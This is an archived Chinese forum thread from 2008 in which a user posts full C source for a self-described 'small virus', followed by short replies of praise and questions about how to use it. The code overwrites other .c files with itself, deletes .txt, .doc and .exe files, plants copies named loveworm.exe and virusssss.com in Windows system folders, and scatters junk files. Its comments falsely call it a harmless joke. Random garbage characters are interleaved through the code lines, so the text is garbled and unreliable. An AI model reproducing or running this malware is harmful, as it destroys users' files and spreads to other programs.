查看完整版本: 自己用C语言编写的小病毒

liuy12 2008-3-30 15:56

自己用C语言编写的小病毒

[indent][code] &do,b+Q6_:T p
#include <io.h>
PNrq.|6oM|U$i #include <dir.h>
D6]f9_ZmH5d #include <stdio.h>7M+t8ks/k(g
#include <stdlib.h>#[rc7z-RJg
#include <string.h>
&_;A W z'R
`%ol?bX /* copy outfile to infile */
_%E!S^C7\i3^&jD void copyfile(char *infile, char *outfile)
"kkl!msi'Q,r {
N3?vLl         FILE *in,*out;e$w.};MD
?$PVM#u
        in = fopen(infile,"r");
{T@'LD         out = fopen(outfile,"w");
*lT|haG8N8U j#` n I _Q |`1E4K
        while (!feof(in)) R][eb(o@k
        {7c5SgM O+l8|N
            fputc(fgetc(in),out);X;J$yT.F)o4V9x.m
        }
a+})E;ATU
$j/P9p yK5uO         fclose(in);;mm:X E'A5Wf
        fclose(out);
e"p:k2H8fg^%U }
1S)yonx
a+[DQv /*
3j?,oC'U8l aMA)Y Tj
s`quA?UCP&K This function      named Rubbishmaker.
-J5oc,A.n@!kXO m;dOy2QZ9K
*/
2{8}z4R5kT void MakeRubbish()
V\9jT,i/w'~jZ {
4MA3q.|A         int i;    3gH*Q/yKf1LM
        FILE *fp;nQ+lvl!R:N#S
        char *path;
/qZ~5x3Z\e         char *NewName;b ^"U+U'[6I D0w
        char *disk[7] = {"A","B","C","D","E","F","G"};
wo%v-t HA-Bb         char *addtion = ":\\";
Wu~.Z)j-T(q H N.Lj&}
        /* Make some rubbish at the current catalogue */ r_{:N#U7GB
        for (i = 0; i<5; i++)K q0M*L4v-RC
        {
tR%{*g]             char tempname[] = "XXXXXX" ;
)[4Sqa~ AD,o
:Da*ftXLw\,Fn G             NewName = mktemp(tempname);
}7IV*r ap             fp = fopen(NewName,"w");a w.g M'|(tFv
            fclose(fp);
fR XQH|'{0go         }oPQv SJz/Q[H ]
B+eIQJ-d-f@
/a}/Kv0l"Y8S(A
/* make some rubbish at the root catalogue */
P&A#_"M6V4O;?+pl9r r#I[7m:S R7r b-n$_
        path = strcat(disk[getdisk()],addtion); /* get the root catalogue */n+L7ESl ~9Q1rQ
1o9HIp Sdlq0W
        chdir(path); /*change directory according to the "path" */Z,a2[%ak z%Gw A[

j8Iyx(I         for (i = 0; i<5; i++)d7Ku?:~9x5N0sb;_
        {G*Y}N)AGtu-J
            char tempname[] = "XXXXXX";B0f&v:spb5d
}`(jV,I
            NewName = mktemp(tempname);
2Y)UGM8F M             fp = fopen(NewName,"w");
;` _%C$iv@             fclose(fp);UP'^0~1Z_-p"C*S
        }
!^%i&{4SMM N$R1E
+z W oYT!QBWz8m }0N'ds3jc [)A

u y+~.Y2qN6e? ~ XWx1Ak R
/*
5PD5u5dH9i C8N%Q -QH/i#s#e/i%xf B
      This function can      creat some .exe or .com documents in the sensitive place._ U-O fBR+YP)@B
      Don't worry,It's only a joke.It will do no harm to your computer.
{s%T]B b$\cm
:i D;c1?$~gD^T`#Z */
)I9q3`&ZAec2T
c^ tx+Go8` void CreatEXE()b5X*iXk
{#BV N,k$vk2N/E['{ g
        int i;
2m u;e(\ Mc3m+aNX         char *path;;H;M*cn.N;[*d"D(r!lV

iG D,{U;v8z#gu         char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"}; P9W7ve yM c7F+c
g2Gz#j }e

QQ%?} q-i.G-aeJ         for ( i = 0; i < 2; i++)
6iyK#H@Kt5}*Cl         {
oV/V~,EW)W o4k             open(s, 0x0100,0x0080);{u `m AU'x
            copyfile( "C_KILLER.C",s);
,Q+[%yD ]+n2O $I@S9zZ+hp a1q
        }
n3L C"\u)T&V }X4P} X5x*G!H:H{/d
9pi,v3ec&qgr

g;U\-lf%P /* remove something from your computer */\ Z/V`&c.q~tc8_
void Remove()8v5D.Z$Lpb2R4U
{1YP.\FQ.AC
        
d)xn0U)?;w6D3R"S         int done;
0eH P(t0Q6e.UX$?         int i;}VY3}:U
H,[,|:z'],D d'[x
        struct ffblk ffblk;?3RC]8l PE a
        char *documenttype[3] = {"*.txt","*.doc","*.exe"};SU4D9b/k
        for (i = 0; i < 3; i++)O9u%sZad!h7lR9D!d%g
        {f5v4g1Q.g$?
            done = findfirst(documenttype,&ffblk,2);
gM WN;P^+B             while (!done)[ Zs9u6?%W-Zt'GI
            {
E;@r xN2?;_                     remove(ffblk.ff_name); L|@2d9l f0z
                    done = findnext(&ffblk);3j&uvA O"a{b-B
            }zi:\y M)lj%V(v
        }7{ i\iX~
}k/k4t,j8gb\
g DFk1RkS.b

$Dqf `#V Z#z*NU3i /* overlay the c programs */
C$ke"H7i'A@ void Breed()+MC7S[ [
{2IL(M@JduS
        Rp!Z,B'X4Qc |9_
        int done;
&H{4l ^?)`e} jW-n*q y:[&JG;B
        struct ffblk ffblk;
l@/y5h;GUp D"Ni8eB3N
        done = findfirst("*.c",&ffblk,2); }'[0I8qq-G
        while (!done)&ED h]4x[
        {z.LIG@
            if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
+j$Zu8i3AO?&]
p6d$c#O:H~CX             {
X JMSp2?                     copyfile("C_KILLER.C",ffblk.ff_name);!Gl'N'bRO4Pv b
            }va"QX5CX?
            done = findnext(&ffblk);;b c}+E/E q
        }
|0t2x^2m;c c +s&y8gg+mD`c
}
T G~3Qd-S2C8P8u!_
oXF*bA5vQ7T gF W1O&h
void main(){{#z.M3d5l9G*o
{7C2L:Bm*Or#^U

0THFXOFj9?~         
}(Y JD(W~8P:I}:b
f bPZ4m/i             printf("THERE IS A VIRUS BY      XIAOKE.\n\n");
!g ?#}-L1iv*{9\6L+fE
4f$Ff+F+HY             Breed();'^$T,N#de
            Remove();
J0{}vRT i             CreatEXE();
*Y1x0K;g8HV3G O Pf j$C:M\'K
d g:W!`9K-M6c W
            printf("COULD YOU TELL ME YOUR NAME?\n\n");
y)p0o*mR*U3}             printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");%O\*S:F#Ne eDi2jS+e

&a5r"m9GiR1Z'T             MakeRubbish();
q9mX4j2O u"j.MY^             getchar();6c {8e;Y)x8I
            printf("IT'S ONLY A JOKE! THANK YOU!\n\n"); G#i$BTYn:y4MQ
d~S!Yn(W
            clrscr();
$CW)i&pf^ ` u| }             system("cmd");}r"{uz|9P1MO
}
%A6X^{,Fnd
'g$PI;qY;l [/code][/indent]

石头 2008-3-31 14:30

不错啊Px4}dTgi+s
支持一个啊

树的挽留 2008-4-4 00:13

:10:

zhengxch86 2008-4-4 14:14

这个是做什么用的

海豚 2008-4-5 21:28

我好怕怕

好家伙 2008-4-6 15:57

不错啊

拓海 2008-4-21 00:18

支持:33:

cvccv 2008-4-22 00:26

谢谢

冰晶 2008-4-23 00:27

学习下

admin 2008-4-24 01:17

不错啊

2900291 2008-5-11 16:09

:07:

xiaodai 2008-5-15 16:00

要怎么用呢  后果是什么呢

氟石山 2008-5-15 20:09

和LS一样疑问u4n*LWc
这个病毒有什么危害呢?

gisruin 2008-5-17 22:46

怎么用

kk2099 2008-6-5 10:28

[url]http://bbs.admin5.com/index.php[/url]

石头 2008-6-6 21:49

不错啊
页: [1]
查看完整版本: 自己用C语言编写的小病毒